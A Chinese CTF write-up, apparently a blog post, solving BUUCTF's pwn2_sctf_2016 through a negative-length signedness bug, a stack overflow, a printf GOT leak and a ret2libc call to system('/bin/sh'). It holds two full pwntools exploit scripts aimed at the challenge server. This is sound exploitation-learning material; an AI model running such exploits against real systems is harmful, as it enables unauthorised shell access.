buuctf中的pwn2_sctf_2016(libc泄露+栈溢出)

首先checksec检查保护机制:

-32位程序

-仅开启了栈不可执行保护

接下来使用反汇编攻击IDA进行分析:

发现vuln函数,并且从左边没有发现任何后门函数

vuln函数内部:

首先要我们输入后门读取的字节数,这里要是输入大于32就会直接退出程序,不过我们可以直接输入-1,v2就会变成一个非常大的数,能在后面实现栈溢出,这里看出偏移量为0x2c+0x4

由于没有任何后门函数和地址,只能通过泄露libc地址来计算出system函数和/bin/sh地址,这里首先想到用LibcSearcher去找libc,但是可能又是LibcSearcher中libc库不全的问题,我始终找不到匹配的libc库,最后从题目给出的做题环境是Ubuntu16并且是32位程序猜到libc库是libc-2.23.so才做出题目

这是有LibcSearcher版本的exp脚本:

这里说一下思路,由于这里不知道libc库的基地址,所以需要两次栈溢出,第一次溢出先泄露出printf_got的地址,再计算得到libc基址进而计算出system函数地址和/bin/sh地址,第二次溢出就注入system函数拿到shell,但是由于LibcSearcher的问题,始终找不到匹配的libc库

python 复制代码
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',26718)              # 与在线环境交互。

offset = 0x2c + 0x4
vuln_addr = 0x804852F

elf = ELF("./pwn")
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']

io.recvuntil(b'How many bytes do you want me to read? ')
io.sendline(b'-1')

io.recvuntil(b'bytes of data!\n')
payload = b'a'*offset + p32(printf_plt) + p32(vuln_addr) + p32(printf_got)
io.sendline(payload)

io.recvuntil(b'\n')
printf_addr = u32(io.recv(4).ljust(4,b'\x00'))
print(hex(printf_addr))

libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

io.recvuntil(b'How many bytes do you want me to read? ')
io.sendline(b'-1')

io.recvuntil(b'bytes of data!\n')
payload = b'a'*offset + p32(system_addr) + p32(vuln_addr) + p32(bin_sh_addr)
io.sendline(payload)

io.interactive()

这里已知libc库的版本:

思路和上面基本一样,只不过是把LibcSearhcher那里改一下而已

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',28509)              # 与在线环境交互。

offset = 0x2c + 0x4
vuln_addr = 0x804852F

libc = ELF('./libc-2.23.so')
elf = ELF("./pwn")
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']

io.recvuntil(b'How many bytes do you want me to read? ')
io.sendline(b'-1')

io.recvuntil(b'bytes of data!\n')
payload = b'a'*offset + p32(printf_plt) + p32(vuln_addr) + p32(printf_got)
io.sendline(payload)

io.recvuntil(b'\n')
printf_addr = u32(io.recv(4).ljust(4,b'\x00'))
print(hex(printf_addr))

libc_base = printf_addr - libc.sym['printf']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))

io.recvuntil(b'How many bytes do you want me to read? ')
io.sendline(b'-1')

io.recvuntil(b'bytes of data!\n')
payload = b'a'*offset + p32(system_addr) + p32(vuln_addr) + p32(bin_sh_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

最后手动输入cat flag得到flag即可

相关推荐
如意.7591 小时前
【Linux开发工具实战】Git、GDB与CGDB从入门到精通
linux·运维·git
Thera7771 小时前
C++ 高性能时间轮定时器:从单例设计到 Linux timerfd 深度优化
linux·开发语言·c++
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ3 小时前
Linux 查询某进程文件所在路径 命令
linux·运维·服务器
上海云盾-小余3 小时前
游戏盾与应用防护联动:一站式业务安全防御体系搭建指南
安全·游戏
安当加密4 小时前
无需改 PAM!轻量级 RADIUS + ASP身份认证系统 实现 Linux 登录双因子认证
linux·运维·服务器
dashizhi20154 小时前
服务器共享禁止保存到本地磁盘、共享文件禁止另存为本地磁盘、移动硬盘等
运维·网络·stm32·安全·电脑
内卷焦虑人士4 小时前
Windows安装WSL2+Ubuntu 22.04
linux·windows·ubuntu
网教盟人才服务平台5 小时前
2026数字中国创新大赛-数字安全赛道全面启动!
网络·安全
九河云5 小时前
云上安全运营中心(SOC)建设:从被动防御到主动狩猎
大数据·人工智能·安全·架构·数字化转型
dddddppppp1236 小时前
qemu模拟的一个内核驱动 io口中断
linux